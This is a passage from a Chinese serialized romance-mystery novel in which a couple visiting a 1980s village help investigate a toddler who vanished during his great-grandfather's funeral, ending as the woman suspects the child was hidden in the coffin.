楚隽将自己扔回床上。 他心里盘算着,等安暖的工作稳定之后,求婚,不知道她能不能答应。 安暖逗了喝醉的楚隽,心满意足,也回了房间。 甜甜一直在村子里上学,还没有出过远门,对外面的花花世界,自然是非常向往的。 安暖和她聊了一会儿,知道她成绩很好。 “好好学,以后就可以走出去。”安暖向来劝学,给她描述了一番外面的大好河山,美丽天地。 夜深了,村子里渐渐安静了下来。 安暖这一觉,睡到半夜四点。 想上厕所,醒了。 昨晚上她也注意了,村子里的人家,是没有在家里修建厕所的习惯的。不过村子里有旱厕。 卫生情况就那么回事,反正捏着鼻子吧。 安暖起身往外看了看,黑乎乎的一片。 她想了想,去喊楚隽。 厕所离舅舅家还有个五分钟的路,这黑灯瞎火又不是住惯了的地方,可不敢一个人出门。 也不好意思喊舅舅家的人,更不好半夜叫甜甜一个小姑娘陪着,还是叫醒楚隽,让他陪自己去。 偷偷溜进房间,安暖推了推楚隽的肩膀。 “楚隽。”安暖低声说。 楚隽呼吸平稳,动也没动。 “楚隽。”安暖又推一下,凑过去。 然后就被一把握住了手腕,拽到了他身前。 楚隽在黑暗中睁开眼睛。 “大半夜的,你想干什么?”楚隽的声音有点嘶哑:“占我便宜还没占够吗?” “不占你便宜。”安暖说:“陪我去厕所。” 当两个人足够熟悉的时候,就百无禁忌了。不怕麻烦对方,也不会觉得隐私的事情,是不好意思说的。 “嗯。” 安暖这么一说,楚隽也觉得要方便一下。 当然男人简单,出门随便找个墙根就行。 其实半夜没人的时候,安暖也行,就是面子上过不去罢了。 第251章 白事 怕吵醒家里人,两人轻手轻脚地出了门。 “乡下的空气就是好啊。”楚隽发出了一声城里大少爷下乡的感慨:“星星也更亮一些。” “那可不是,因为乡下没有光污染,自然星星月亮都更亮。”安暖打着手电筒,往天空照去,光线落入无边无际的黑暗宇宙,消失不见。 “小心脚下。”楚隽扶了安暖一把:“这路不好走,看着点走。” 楚隽扶着安暖,小心脚下的石头坑洼。 没一会儿,就到了村子中间的共同厕所。 “到了。”楚隽用手电照了照:“去吧,要我陪你去吗?” 安暖皱眉摇了摇头。 “不用,我自己去。” 过了一会儿,安暖出来了。 脸上的表情很复杂。 楚隽之前还觉得有些奇怪,毕竟这就是安暖成长的地方,但安暖非常压抑的表现出来的态度,就是很不习惯的。 但安暖的身份没有任何问题,他想来想去,只能将这一起归于天生。 有些人,天生就大气,天生就爱干净,天生就是天才。 当环境不合适的时候,就隐忍蛰伏,也能适应一切。当环境好了,舒展得那叫一个快。 “我也去方便一下,你就在这里等我,不要走开。” “好。” 楚隽这小少爷,对这种地方肯定也是一万个不适应的。只是强撑着不表现出来罢了。 楚隽进了卫生间,安暖在外面等着。 闲来无事,用手电筒照照这里,照照那里。 八十年代乡村的夜晚,对她来说也是挺新鲜的。反正楚隽就在身边,她也不害怕。 正看着呢,只听远远的,似乎传来了什么声音。 安暖抬手看了看表,现在是半夜,四点十分。 现在不是盛夏,这个时候天还没亮,只有月光,阴沉沉的。 什么人这个时候在外面跑?不会有贼人吧? 安暖心里奇怪,往声音传来的地方看去。 那是大路的方向。 那声音还远,昏暗中,也看不见什么。 安暖正在看呢,楚隽出来了。 “看什么呢?”楚隽走了过来。 “嘘……”安暖说:“你听,是不是有什么声音?” 楚隽侧耳一听,还真有声音。 “这半夜三更的,难道有人在外面敲锣打鼓?”楚隽皱眉道:“我们过去看看?” “好。” “你……怕吗?” “我不怕,有你在,有什么害怕的?” 安暖这么说,楚隽顿时觉得非常心满意足。 被心上人信任,给予安全感,这对男人来说,是一件多么叫人高兴的事情啊。 “那我们过去看看。”楚隽牵起安暖的手,往声音的方向走了过去。 声音越来越清楚了。 有唢呐,有锣鼓,还有人的哭声。 安暖犹豫道:“好像是哀乐……是不是有人家在办丧事。” 雾气弥漫中,人影越来越清楚。 路的尽头,出现了一群穿白衣服的人。 果然是有人家在办丧事。 披麻戴孝的。 雾气迷茫中乍一看,犹如百鬼夜行,实在是有点瘆人。 队伍两人一排,前面的捧着牌位,中间的抬着棺材,还有吹唢呐敲锣的,一行人有三四十个,缓缓行来。 安暖低声道:“咱们回去吧,别打扰了人家。” “好。” 两人悄悄地退了回去。 安暖心里其实有点好奇,不知道这个年代白事有什么风俗讲究,但这显然不是适合围观凑热闹的事情。人家已经很伤心了,不要节外生枝。 回了舅舅家,舅舅一家还在睡,两人又蹑手蹑脚的进门,各自进了自己的房间。 不过现在也睡不着了,没过多久,外面渐渐开始有了声音。 人的声音,鸡鸭鹅的声音,猪牛羊的声音,村子里开始热闹起来,大家陆陆续续起床了。 作为客人,楚隽和安暖自然也不能赖床,也就一起起床了。 安暖走到院子里,呼吸着新鲜的空气,伸了个懒腰。 舒服。 甜甜也起床了,洗漱之后便去了厨房帮忙做饭。 安暖也装模作样地在厨房里站了一会儿,但是很遗憾,没帮上什么忙。厨房里的事情,她确实不擅长,也就一会儿能端个碗,拿个筷子什么的。 舅舅在一边看了一会儿,走到门口,给楚隽递了根烟。 “小楚啊。”安舅舅说:“暖暖这孩子,母亲过世得早,跟着她爸长大。一个大男人,也不会教姑娘,所以这家里的事情,难免要差一点。你可要多担待。” 舅舅其实以前也没见过安暖几面,但不管怎么说,在他心里,女孩子就是要相夫教子,就是要做家务,但看安暖这模样,真不像是个会做家务的。 楚隽这么好的姻缘,可别因为这个嫌弃她。 “没事儿的,舅舅。”楚隽说:“暖暖是个好姑娘,又聪明,又漂亮,特别好。至于你说的家务活儿,洗衣做饭什么的,不用她做,家里有请保姆。我娶暖暖,也不是要她回去洗衣做饭的,是让她享福的。” 楚隽虽然不会说出来,但是他必须要承认这一点。 如果安暖像是村里的姑娘一样,不识多少字,没有见过世面,没有共同语言,每天只会围着锅灶转,他不会瞧不起她,但是肯定不愿意结这婚。 结婚是一辈子的事情,上班已经很忙很累了,下班回到家,总想着有个能说得上话的人,就算是楚隽也不能免俗。 当然洗衣做饭也是必须的,可楚隽有钱,能请人洗衣做饭。 但他再有钱,也不能花钱请人来知冷知暖。 安舅舅听了楚隽的话,安心了一些,但也不是太安心,只是在鞋底上,磕了磕烟斗。 很快早饭就好了,在院子里摆了个八仙桌,端上了各种吃的。 玉米粥,窝窝头,还有几种小咸菜。 楚隽觉得挺新鲜,吃了不少。 安暖也觉得很新鲜,也吃了不少。 一边吃着,一边聊。 一聊起来,安暖就知道了。 村子里果然有人家正在办白事。 安暖插嘴说:“是不是今天出殡的,我看见了。” 舅舅一家都吓了一跳。 “你怎么看见了?” “哦,晚上我去厕所,看见的。” 第252章 孩子丢了 “原来是这样啊。”安舅舅道:“是村东头的匡家,匡家的老爷子匡兴尧。今年八十五了,也算是个喜丧。” 正所谓,人活七十古来稀,虽然如今医疗伙食都比以前好了,人的寿命有所增长,但是八十五也是不容易,算是喜丧了。 喜丧,听起来就没有那么难过了。 村里的人就那么多,都沾亲带故,都认识。舅舅家自然也是送过礼的。 吃完饭,又聊了一会儿,安暖便告辞了。 “舅舅,我就先走了,还要去拜访几个老邻居。”安暖说:“还有翟老爷子之前的老朋友,这次也都要拜访一下。” “行,去吧。”安舅舅说:“你们难得回来一趟,下次还不知道什么时候。既然来了,就多住几天。去转一圈,再回舅舅这里来。昨晚上仓促没喝够,今天晚上,我要跟小楚多喝几杯。” 楚隽虽然笑得爽快,但是脸有点绿。 安舅舅可太能喝了,真是搞不定啊搞不定,喝得脑壳疼。 安暖含笑看他一眼。 放心吧,今晚不让你和舅舅喝了。 她计划上午去拜访一下邻居,吃了中饭就回去了。 路上还要好几个小时,今天晚上回县城去。 这地方别说楚隽不习惯,她也不太习惯,也不想勉强自己。 不过不着急,等中午再说有急事也不迟。 出了舅舅家,去拜访邻居。 走着,便到了村口。 村口有哭声。 安暖从车窗往外一看:“是办白事的那家,虽然是喜丧,家里人也还是难受啊。” “那是自然。”楚隽道:“谁家人去世了不难受呢,只是人总难免有这一天,也是没有办法的。” 楚隽说这话的时候,大约是想到了爷爷,难免有些伤感。 安暖也叹了一口气。 楚隽还有一家人可以想,有爷爷有父母有哥哥,其乐融融。 她是连念想都没有了。 就算是这村子里好像有很多她的亲戚,可事实上,在这个年代,她是真的孤家寡人,孑然一身。 楚隽听着哭声,侧头看着安暖沉默下来的样子,伸手握住了她的手。 “别难过,你有我呢。” “嗯。” 安暖点了点头。 楚隽说:“我保证,死在你后头。” “?” 这是什么爱的宣言吗? “这样我就能一直守着你,等你老了,也能给你打理得干干净净,整整齐齐的。”楚隽认真说:“都说久病床前无孝子,少年夫妻老来伴,到时候,孩子长大都出去了,就咱们俩相依为命。” “……” 虽然这也是白头到老,相守一生的意思,但楚隽的情话安暖真的一句话都接不上,又不想泼他的冷水,只好装晕车。 乡里的路差,车慢慢往前开,路过了办丧事人家的校园。 安暖脑袋趴在车窗口,听得更真切了。 但是这一听,觉得有些不对劲。 “等一下,等一下。”安暖说:“好像不太对啊。” “怎么了?” 楚隽干脆把车停下了。 车停下,外面的声音更明显了。 就是今天办白事的人家的院子里,有人在哭,一边哭,一边喊着一个名字。 “小宝,小宝啊……” 院子门没关,他们现在车就停在门口,声音很清晰。 “不对啊。”安暖说:“今天过世的不是个八十五岁的老人吗?就算他的小名叫小宝,这哭声也是个年轻的声音啊,不能家里年轻媳妇也叫他的小名吧?” 要是个老人的声音,也就罢了。 楚隽已经开门下车了。 “确实不对劲,过去看一下。” 安暖连忙也下了车。 院子门是开着的,坐在里面哭的,果然是个不到三十的年轻妇人。 旁边还有个年纪大的老妇,陪着也在抹眼泪。 看见有人进来,妇人立刻抬起了头,脱口而出:“小宝……” 当看清楚进来的人不是小宝的时候,妇人眼中的光芒迅速黯淡过去。 老妇连忙站了起来。 “请问,你们是什么人?”老妇说:“是来……” 老妇有点疑惑,楚隽和安暖她都没见过,不像是家里人交往的朋友。 安暖说:“我是安家的外甥女。” “哦哦哦。” 虽然没来往,但这也就算知道了,是一个村子里的人。 安暖说:“刚才路过,听着你们在院子里哭。这是……又出什么事情了吗?” 安暖这一问,两人就知道,问的不是今日过世的老爷子了。 妇人站起来,抹着眼泪说:“是我的孩子走丢了。” 两人都吓了一跳。 孩子丢了,这可是大事。 “怎么回事?”楚隽立刻道:“孩子怎么走丢的?我们也可以帮着找。” 别说是一个村子的,就算是在外面遇到的陌生人,别的忙都能不帮,但孩子丢了,正常人都会帮着一起找的。 这会儿估计大半个村子都已经动员起来了。 一部分在村子里可能藏人的地方找人,另一部分开始在出村的各个要道设卡拦人。免得有人贩子路过,将人带走。 只要孩子还在村子里,就能找到。要是被带走,就很麻烦了。 妇人大概说了一下。 今天是家里老爷子上山的日子,早早的家里就忙了起来。 清晨天不亮,便吹吹打打出了门,就是他们半夜看见的那一幕。 等上了山,老爷子下葬之后,便往回走。 到了家,这才发现,小宝不见了。 小宝是匡家最小的孙子,今年只有三岁半,正是喜欢乱跑的年纪。 这么大的孩子,是时刻要人看着的。 但是因为今天人多,亲戚,朋友,邻居,零零散散地来了许多人。 人一多,能带孩子的人多了,反而容易出事。 每个人都以为孩子在别人那里。 等到了家,孩子的母亲终于忙得告一段落,这才惊觉,小宝不见了。 这可不得了,众人就开始找。 所有来参加葬礼的人都开始找孩子,谁也说不清这孩子最后出现在哪里,只能现在周围找,找不到,扩大范围找。 如今,除了不小心摔着腿脚的孩子母亲和上了年纪的老太太,都安排出去了。 村里有时间的人,也都自觉地加入了寻找的队伍。 第253章 男女之间那点矛盾 安暖和楚隽虽然不住在本村,但是有个得天独厚的条件,他们有车。 当下,匡婶叫回来两个在附近找孩子的人,带着安暖和楚隽去最远的一个路口。 都是村里的本家,一个叫匡正则,一个叫匡明,是叔侄俩。 在两人的指路之下,汽车一路狂飙。 楚隽一边开车,难免职业病犯了。 “匡叔。”楚隽道:“匡家在村里,有没有什么不对付的人?” 匡正则本来正和侄子两人,在后座一人坐一边,正目不转睛地盯着外面的人。被楚隽这一问,回过头来。 “你……这是什么意思?” 楚隽道:“孩子丢了是大事,不能光这么找。根据我的经验,在孩子走失这件事情上,有很大一部分和亲戚朋友邻居有关。” 也就是,熟人作案。 孩子在哪家都精贵,从懂事起,大部分的父母家人就会一遍遍地教育。 不要吃陌生人给的东西,不要跟陌生人说话,更不要和陌生人出去。 而且在一个村子里,都是认识的人,低头不见抬头见,别说陌生人带走一个孩子,就算是有一个陌生脸孔出现在村子里,都会引起人的关注。 只有熟人,才能带走一个熟悉的孩子。 “这样啊……”匡正则有些迟疑道:“你是,什么人?” “我是安家的女婿。”楚隽理直气壮:“我是陪安家外甥女回来探亲的,我是个警察。” 安家不安家的另说,警察两个字让人心安。 现在村子里已经在找人了,也已经有人去报警了。但村子里是没有派出所公安局的,只有县城派出所的民警值班巡逻,人手非常有限,警力更谈不上,如果有什么事情,不是一会儿半会儿可以就位的。 现在突然来了个警察,虽然不知道是哪里的警察,总是叫人觉得可靠。 匡正则立刻道:“那现在怎么办?” 楚隽说:“我把你们带到地方,你们留在那里守着,然后我回去村里查。现在,你把匡家的情况跟我说一下。” 回村也能问,但不要浪费时间。 失踪案,时间就是命。 “好好好。”匡正则连声道:“我要说什么?” “匡家在村子里有没有什么关系不好的人家,今天他们家老爷子喜丧,办丧事这段时间,有没有和谁有矛盾。还有家庭内部关系如何?” 别说七大姑八大姨了,就是亲爸亲妈爷爷奶奶,也不是没有卖孩子的。人心险恶,血浓于水也没有用。 “一个一个说。”安暖立刻从随身的包里拿出笔和本子来:“先说家庭内部的问题。” 都是一个村子的,谁家有几个人,有几只鸡鸭鹅,夫妻俩晚上是不是吵架了,都清清楚楚,明明白白。 匡正则说:“其实哪家没有点矛盾呢,他们家肯定也有。” “他们家有三个儿子,到现在还没有分家,都住在一起。不过前阵子呢,确实是闹了一下。” “为什么闹?” “嗨,还能为什么,为了钱呗。有钱人家为了几十万几百万吵,没钱的人家,为了几十几百块,也是一样要闹的。”匡正则说:“三个儿子,各自娶妻生子,都在一个屋檐下,那怎么可能没有矛盾呢?” “这丢了孩子的,是老几?” “老小。”匡正则说:“叫匡续文,在村里务农。” “他和哪个兄弟有矛盾?” “和两个都有一些。”匡正则道:“这个大家都是知道的,一直以来,小儿子想分家,但是老爷子不同意。” 安暖下笔如飞刷刷地写着。 “那这矛盾是为什么?” “就是为了钱,没分家,赚来的钱在一处,然后一起花。就难免这个多赚了,那个少赚了。这个多花了,这个少花了,谁都不服气。” 安暖以前看年代文的时候,也知道这种模式。 这是大家长模式,也是大锅饭模式。 家里所有人的钱都交在家中最有权威的人手里,花销也统一出。但每个人能力都不一样,花费也不一样,怎么能没有矛盾? 安暖道:“难道这个小儿子,特别能花钱?还是特别好吃懒做?” “倒也不是,老三……人还是挺好的。” “那矛盾在哪里?” 匡正则皱了眉,不说话了。 有什么难言之隐? 见匡正则一副有话不好说的样子,楚隽从口袋里摸出工作证,亮了出来。 楚隽道:“你放心说,无论什么事情,只要和案情无关,我们是绝对不会外传的。” 安暖补充:“包括我舅舅他们。” 楚隽和安暖的话,匡正则是半信半疑的。但警察的话,他们是相信的。楚隽的证件给了他安全和信任。 “好,那我跟你们说,你们可千万不能说出去,这事情,不是什么光彩的事情。” 安暖慎重点头。 看来不管大家族还是小家族,都有家族隐秘啊。 匡正则说:“这事情说起来其实也不复杂。匡兴尧只有一个儿子,却有三个孙子。前面两个孙子都正常,可到了第三个孙子那会儿,儿子儿媳俩闹了矛盾,出了点事情。” “什么事情?” “就……就是男女那点事情。当时他儿子儿媳妇闹矛盾,儿子出去了一段时间,回来之后没多久,儿媳妇就怀孕了。那孩子七个月就生下来了,所以就有了一些流言蜚语。说那孩子,可能是别人的。当然没有证据,就是风言风语那么一传。” 这确实是属于秘史了,安暖也没有记下来。万一被人看见了,闹出什么家庭纠纷就不好了。 这种事情,他们知道就行了。 “虽然夫妻没有闹翻,但这事情就是一根刺。”匡正则道:“因为这个,他们家对老三难免要苛刻一些,所以常有矛盾。” “具体呢?老大和老大是一股绳吗?他们一起欺负老三?” “也不至于,表面上还是兄友弟恭的,但是私下的关系肯定不太好。妯娌间,也闹得不好。但你要说他们会偷孩子……不至于吧。偷孩子,对他们能有什么好处?” 第254章 凶手在人群中 这个问题安暖回答不了,不是因为没有好处,而是因为有太多好处。甚至于,作恶的人,未必需要什么切实的好处。 善在一念间,恶也在一念间。 这算是匡家最大的秘密了,这个都说了,其他就没有什么不能说了。 当下,匡正则犹如竹筒倒豆子,咚咚咚咚的,把村子里和匡兴尧有矛盾的人都说了一遍。大大小小的,一点儿不遗漏。 不愧是在村子里生活了一辈子的人,说起来那叫一个顺畅。有一些是连同车的他侄子都不知道的事情,也偷偷摸摸竖起耳朵在一旁听。 一边开心一边害怕,知道了那么多秘密,也不知道回去会不会挨揍。 到了地方,事情也说得差不多了。 楚隽停了车,让两人下车。 “我们就守在这里。”匡正则说:“你们快回去吧,不用管我们。如果有消息,就叫人来告诉我们一声。” “好。” 有车在,很多事情都要容易一些,两人立刻开车往回赶。 路上,安暖将匡正则说的那些又看了一遍。 “怎么样?”楚隽道:“有什么怀疑的?” “暂时没有。”安暖合上本子:“虽然听起来是有不少矛盾,但没有特别激烈的,都是些小摩擦。至于老三的身世,都是多少年前的事情了。除非最近发生了什么事情让矛盾激化,不然的话,儿子都容下了,孙子有什么容不下的?” 主要还是他们对匡兴尧家的了解太少了。 没见过,完全不认识,对村子里和他有关系的人也完全不了解,仅凭匡正则说的这些,太浮于表面了。 “嗯,还是要和匡家的人接触一下,问一问。如果和孩子丢失有关的,现在看见这么大张旗鼓地找人,一定是心虚的。” 如果孩子丢了,真的是有人故意为之。 为了不被人怀疑,这个人现在一定奔走在找孩子的第一线。 这个人如果平时和匡续文的关系一般,甚至有矛盾。可今天却冲在找孩子的第一线,显示出非同一般的热情。那嫌疑就大了。 纸上谈兵,终究是不行的。 车很快就开了回去。 村子里能听见叫小宝的声音,显然孩子还没有找到。 他们直接去了匡家。 还没来得及下车,就听见了院子里传来的哭喊声。 女人的尖叫,哭喊。 男人的怒吼。 闹成了一团。 两人立刻下车跑了过去。 院子门大开着,里面有人在打架,有人在拉架。 打架的其中一方,就是他们之前见过的,小宝的母亲和奶奶。 另外一方,是不认识的一对中年夫妻。 双方揪着衣服揪着头发,打成一团。一边打,一边对骂。 拉架的也是村民,拽胳膊的拽胳膊,抱腰的抱腰。 安暖刚进院子就看见一个破碗迎面飞来,要不是楚隽拽了一把,差一点就砸在脑门上。 破碗在脚边摔碎,安暖松了口气。 围观打架,真的是一件特别危险的事情。稍不留意就会被误伤。 人还没找到,打成这样有什么用? 楚隽正要上前将人分开,外面传来一声喝。 “都住手,别打了。” 县城的民警来了。 两位年轻民警是骑着自行车过来的,来不及将车挺好,随手丢在地上,就跑了进去。 有公家的人到了,局势很快就得到了控制。 打架的几个人终于分开了。 只是抓脸抓头发,没有什么严重的伤,这种村民打架的事情,一般闹不到派出所去,就是村里的干部了解一下情况,然后两边都劝一劝,各打五十大板,然后握手言和。 两位民警过来,也不是为了调解他们的矛盾,是为了孩子。 “别打了别打了。”两位民警站在中间,板着脸严肃说:“孩子还没找到,你们还有心思打架?” 小宝母亲一指对面的人:“警察同志,偷走我儿子的就是他们,快把他们抓起来,让他们把我儿子还回来。” 对面夫妻俩一听,顿时就不乐意了。 “你不要血口喷人,我们没有。”中年夫妻不乐意了:“我们没有偷孩子,我们偷你孩子干什么?” 两边眼见着又要吵起来了。 民警厉喝一声,又拉开了。 “一个一个地说。”民警严肃道:“你先说,到底是怎么回事?” 楚隽毕竟不是当地派出所的,暂时也没有说什么,先在一边安静地听着。 顺带着观察一下院子里的人。 如果凶手就是乡亲邻里,如果没有在外面找人,得到了民警过来的消息,是一定会回来的。 做坏事的人,心虚。 他们比受害者更想知道事情进展到哪一步了,警方了解了多少情况,这样可以让他们安心。所以,他们一定会在人群中观察情况。 一边听民警调查情况,安暖的视线扫过院子里围观的人。 没一会儿,情况就了解清楚了。 这一对中年夫妻,就住在匡续文家的隔壁。 中年妇女和小宝的母亲是表姐妹,在家里就有一些不愉快。没有事情发生的时候,也就勉强维持和平。 今天小宝家出了事情,中年妇女也没有这么傻,不敢明晃晃地在人心里插刀子,但是说话难免有些冷嘲热讽。 小宝母亲本来心里就烦躁,听了自然更加烦躁。 一句话不合,就吵了起来。 民警听了两边的话,又仔细询问了中年夫妻,倒是觉得没有什么嫌疑。 “虽然有矛盾,但确实不像是凶手。”楚隽低声道:“小宝丢了,如今正闹得沸沸扬扬。凶手只要是脑子没坏,现在就不可能这么猖狂,那不是把自己当成靶子,生怕别人发现不了他吗?” “是,确实太猖狂了。”安暖说:“既然小宝是跟着早上出殡的队伍一起上山的,那一定有人看见他。我觉得还是要将今天出殡的人一个一个地问过去,缩小一下范围。” 小宝跟着队伍一起离开,却没回来。 他到底是在哪里丢的,很难说。 如果是在路上丢的,一定有人有印象。 楚隽点了点头,走上前去,跟两位民警低声说了几句。 第255章 寻山 一张工作证,真的能解决很多问题。 特别是楚隽的工作证,真是无往不利。 他立刻就得到了两位民警的信任还有崇拜,毕竟是大城市来的刑警队长,这对两位民警来说,是有大案子的时候,上面派过来的刑侦专家。 当然同时,楚隽的压力也挺大的。 本来这事情和他没有什么关系,只是路过,但现在插手了,就变成了主导。如果孩子没找到,事情没查清楚,他也要有责任了。 但事不关己,高高挂起,这不符合楚隽的性格,也不符合他的职业。 于是立刻走流程。 第一步就是问话。 但现在有一个麻烦的事情,大家都乱哄哄地去找人了,老大老二全出去了,只有几个孩子留在家里。 孩子大的十一二岁,小的四五岁,都在懂事和不懂事之间。 安暖心里一动,出门去车上拿了一把糖下来。 大白兔奶糖,还有上面全是英文的水果硬糖,在这个年代可是好东西,村子里买不到,要去县城才能买到,村子里的孩子,很少能吃到。 安暖拿着糖,去找小孩儿。 老大老二家,一共有五个孩子。 大人忙,孩子没人管,就散在周围玩。 安暖用一把糖,轻易就俘获了孩子们的心。 “我这里还有很多糖,特别好吃的牛奶糖和水果糖,这可是村里买不到的呢。”安暖用狼外婆的口气拉开口袋,里面果然有很多糖。 每个小孩嘴里都塞了一块糖,然后直勾勾地看着安暖口袋。 口袋里鼓鼓囊囊的,果然还有很多糖。 小孩儿们一边吃,一边咽口水,连连点头。 “今天是爷爷上山的日子,你们都去了吧?” “去了。” “路上,你们都在一起玩儿的吗?” 小孩儿继续点头。 安暖拿出两颗糖。 “那你们今天和小宝在一起玩儿了吗?” 一边说,一边晃手里的糖。 小孩儿的目光都在糖上,一边咽口水一边点头。 “你们是去的时候一起玩儿的,还是回来的时候,一起玩儿的?” 小孩儿你看看我,我看看你。 “好好想,我这里可不止有糖。” 安暖又从口袋里摸出几个小袋子。 是独立包装的饼干。 几个小孩子还没吃过这样的饼干呢。 但是糖这么好吃,饼干肯定更好吃。 “来,告诉我,你们去的时候,跟小宝在一起玩儿的吗?” 小孩儿这次连连点头。 “那你们回来的时候,和小宝在一起玩儿了吗?” 这回小孩儿没点头了。 “所以你们去的路上还和小宝在一起玩儿,可回来的路上,就没有和小宝一起玩儿了?”安暖皱眉道:“回来的路上,你们都没有看见他?” 大一点的孩子说没有,小一点的,说不清楚。 说好像玩儿了,又好像没有。 老爷子葬在半山腰。 安暖心里涌上一种不详的预感。 “那你们在山上,和小宝在一起玩儿了吗?” 孩子们也不太记得清楚了,有人说玩儿了,有人说没玩。 也有可能是真的,有人和他在一起玩儿,有人没和他在一起玩儿。这也很正常,小孩子也是聚聚散散的,不会始终都在一起。 但不管怎么说,如今这个方向是不错的。 孩子不是在村子里丢的,很可能是在老爷子出殡之后丢的。 当小宝刚不见的时候,他们这些常和小宝在一起玩儿的孩子,也被叫过去问了。 但是问的人着急,问得很模糊,孩子又小,被一吓唬,一哭,就说不清楚了。 孩子说的颠三倒四,问的人见了,就觉得他们都是瞎说。于是问得更不仔细,他们说的话,也没有被认真看待。 安暖将口袋里的糖和饼干分给几个孩子,转身就去找楚隽。 “楚隽,几位同志。”安暖说:“我有些发现。” 楚隽忙道:“你说。” 安暖说:“我刚才和这家的几个孩子聊了一下,综合了一下他们给出的信息,小宝很可能是在老爷子下葬的山上丢的。” 安暖将自己问到的情况说了一下。 楚隽道:“我们也有这个意思,正打算安排人上山。” 现在已经是下午三点了,再过两个小时天就要黑了。 十月份,虽然不是特别冷,可夜里也要盖被子才能睡。更别提山上,格外的凉。 天色有些暗沉,还有可能会下雨。 如果小宝真的在山上走丢了,无论是意外,还是有人故意将他哄骗到了什么地方,一个人过夜都是非常危险的。 三岁半,这个年纪太小了,会摔倒,会冻着,会掉下山,会害怕。 唯一万幸的是,这山常有人来往,不会有野兽,要不然的话,说不定找得迟了,就真的只剩下一堆白骨了。 几人聚在一起一说,当下就决定立刻组织人上山找孩子。 匡老爷子下葬的山没有正经的名字,村子里的人都叫它斜沟坡,离村子走路大约五十分钟,骑车没多远,开车就更快了。 时间就是生命,当下村子里组织了青壮年,把家家户户能用的交通工具都给用上。 也就是自行车,这是村子里最快捷的交通工具了。 再就是楚隽的车。 楚隽先拉了一车人过去,打算等到了地方,再回头拉第二车人。 虽然路不好开,但是他车技好,又不讲究超载,一车上挤了七八个人,踩下油门,嗖的就走了。 安暖都没上车。 她不是本地人,又是体力不好的女孩子,第一批去了也帮不上多少忙,就先在匡家等着。 安暖看着天,有些发愁。 找人的时候,时间过得快,天空一片黑云,眼见着,过一会儿就要下雨了。 她正在门外看着天,院子里闹哄哄的,是老太太昏过去了。 老太太虽然比老爷子年纪小,但也有七十了,这几日老伴去世,心力憔悴。如今曾孙子又不见了,更是雪上加霜。 众人一阵慌乱,连忙请了村里一个老赤脚医生过来一通急救。 安暖帮不上忙,站在一边听着村民聊天。 都感慨匡老太太怕是时日无多,他们老夫妻感情非常好,老爷子去世,下葬的时候,老太太抱着尸身痛哭,差一点也跟着去了。 第256章 疑坟 安暖听着听着,觉得不太对劲。 “同志。”安暖叫住正聊着的人:“你们说,今天下葬的时候,老太太抱着老爷子的尸体哭?” “是啊。”那人挠了挠头:“哦,我可能有点夸张了,大概就是这个意思。那肯定有人拦着,要是没有人拦着,老太太肯定会抱着老爷子的尸体哭的。” “不对啊。”安暖说:“棺材在下葬之前,不是已经钉死了吗?你们这边的习俗,难道棺盖不用钉死?” 这点风俗安暖还是知道的。 自古以来,红白喜事都是大事。 她那个年代,全国基本都已经是火葬,但即使这样,很多农村在亲人火葬之后,也是要把骨灰盒放进棺材,然后再让棺材入土为安的。 这棺木准备好之后,是在家中,在死者尸体或者骨灰盒放入棺材之后,就要钉死的。不会等到了下葬的地方,临时再钉。 封棺要用七根钉子,俗称“子孙钉”,据说能使子孙兴旺发达。 丧礼上的每一步都有讲究,有专门做这种事情的人,所谓白事一条龙,从死者穿寿衣开始,一直替你安排好,直到仪式全部结束。 “额……本来是钉死的,但是到了地方,老太太说,实在是想再看老爷子一眼,就又开棺了。看完之后,又钉上的。” 安暖只觉得匪夷所思:“这样也行?” 没有什么讲究吗? 乡亲的表情也有些奇怪,显然他们也觉得这不太行,但还是用自己的方式解释说:“确实有些不妥,但老太太这把年纪了,身体又不好,儿子孙子又能怎么样?家里人都同意了,旁人自然也没有什么好说的。” 另一个人接了话:“毕竟这也是封建陋习嘛,不能迷信。” 安暖觉得有点割裂。 一边不能迷信,一边各种习俗都不落,估计谁也说不明白这到底是信,还是不信。 不过这么看来,孩子还是孝顺的。不然也不能为了活着的母亲,打扰去世的父亲。 只是一个奇怪的念头,出现在安暖心里。 她没有经历过类似的案子,但是,她看过类似的电影电视。 在一个坟地里,最好藏人的是什么地方,就是坟里,准确地说,是棺材里。 就算是旁人把整个村子翻遍,把整座山都翻遍,又有谁会想到,孩子藏在棺材里呢? 安暖顿时遍体生寒。 但是她不能说。 没有证据,只是自己一个漫无边际的想法,她难道能说孩子可能在棺材里?就算是说了,也不可能有人听的。 挖坟开棺这种事情,那是十恶不赦的事情。 安暖的脸色很差,她算了算时间。 就算棺材的密封性不好,从下葬到现在已经快要六个小时了。如果有人在里面,也已经皖南存活。 “同志。”一旁说话的人看安暖的脸色不太好,不由道:“你不舒服吗?” “没事儿。”安暖摇了摇头。 这想法只能等楚隽回来,跟他提一下。 看看楚隽的意思再说。 其他的人,她没有那么天真。现在这场面,这环境,她要是说出挖坟开棺几个字,肯定会被匡家人打死,打死都没处喊冤的那种。 幸亏楚隽没一会儿就回来了,他还要再跑一趟,再带些人过去。 安暖二话不说,上了副驾驶。 楚隽看了她一眼,感觉出来安暖的脸色不太好。 但既然她没说,可见这事情不方便现在说,他也就没问,往斜沟坡开去。 到了地方,起自行车的几十人也到了,都是村里的男人,对这山十分熟悉,由村长和民警安排了下,三三两两一组,开始搜查。 楚隽下了车,将安暖拽到一边。 他们是外地人,已经帮了不少忙了,搜山这种事情,也不会有人刻意注意他们。 “怎么了?” 安暖对楚隽就没有什么隐瞒了,立刻将她的想法说了。 楚隽听得都惊悚了,看安暖的眼神,那意思是,你怎么会有这个想法。 “你……是有什么发现吗?” “没有,就是听他们说,在下葬之前,开过棺材,才有这个想法。”安暖也很无奈。 虽然没有任何一点证据,但是有些念头就像是有毒一样,只要出现,就甩都甩不掉。 楚隽的表情也很纠结。 “这事情……不能说。”楚隽说:“我去找当时负责盖棺的人聊一聊。” “好。” 负责盖棺的人也是有讲究的,村子里的人一般办丧事,都会请几个道士,就在村子不远,有个道观。 他们下山之后,跟着一起回了匡家,也知道小宝丢了,因此自告奋勇地,也跟来帮忙了,现在就在山上。 楚隽道:“我刚才看见他们上山了,我们也上去找找。” 一边找孩子,一边找知情者。 四点半了,天边传来隆隆的声音,这雨,说下就要下了。 楚隽有些不放心:“要不然你在车上等我,万一一会儿下雨了,山路会很难走。” 但楚隽要去找知情者问话,安暖肯定不会自己留下。 “没事儿,我跟你一起,这山不高也不险,我不会拖后腿的。” 楚隽点了点头,没有说话,带着安暖就上去了。 这山确实不算高险,他觉得一会儿就算安暖走不动了,他也能将人背下来。 